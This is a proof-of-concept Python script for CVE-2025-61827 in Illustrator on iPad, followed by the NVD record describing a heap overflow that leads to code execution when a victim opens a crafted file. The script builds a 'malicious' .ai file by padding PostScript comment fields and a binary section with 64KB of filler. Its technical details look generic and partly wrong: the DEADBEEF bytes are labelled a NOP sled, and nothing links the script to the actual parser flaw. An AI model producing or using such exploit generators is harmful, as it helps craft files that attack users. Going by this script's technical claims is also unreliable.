CVE-2025-61827

# CVE-2025-61827 PoC - Malicious File Generator for Adobe Illustrator iPad # This PoC demonstrates the structure needed to trigger heap overflow # WARNING: For educational and security research purposes only import struct import os def create_malicious_illustrator_file(): """ Generate a malicious .ai file that triggers heap overflow in Illustrator iPad <= 3.0.9 The file contains oversized data fields that cause buffer overflow when parsed. """ # AI file header for iPad format header = b'%!PS-Adobe-3.0\n' # Malicious payload - oversized data causing heap overflow # Heap overflow occurs when parsing certain document properties overflow_size = 65536 # 64KB - exceeds typical heap buffer allocation malicious_data = b'A' * overflow_size # Crafted structure that triggers vulnerability in file parser exploit_structure = b'%%Title: ' exploit_structure += malicious_data exploit_structure += b'\n' # Additional malformed data structures for i in range(100): exploit_structure += b'%%+ PageData' + struct.pack('<I', i) + malicious_data[:1024] + b'\n' # Binary payload section binary_payload = b'\x00' * 4 # Marker binary_payload += struct.pack('<I', overflow_size) # Size field binary_payload += malicious_data # Overflow data binary_payload += b'\xEF\xBE\xAD\xDE' # NOP sled / marker # Combine all sections malicious_file = header + exploit_structure + binary_payload output_path = 'CVE-2025-61827_malicious.ai' with open(output_path, 'wb') as f: f.write(malicious_file) print(f'[+] Malicious file created: {output_path}') print(f'[+] File size: {len(malicious_file)} bytes') print(f'[+] Overflow payload size: {overflow_size} bytes') print('[!] Note: This PoC generates a proof-of-concept file structure') print('[!] Actual exploitation requires specific memory layout conditions') return output_path if __name__ == '__main__': create_malicious_illustrator_file()

{"cve": {"id": "CVE-2025-61827", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:42.213", "lastModified": "2025-11-12T16:50:05.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator on iPad versions 3.0.9 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator_on_ipad:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.10", "matchCriteriaId": "1998E69B-076B-4CC5-8F34-0B5B25FA88CC"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator-mobile-ios/apsb25-111.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}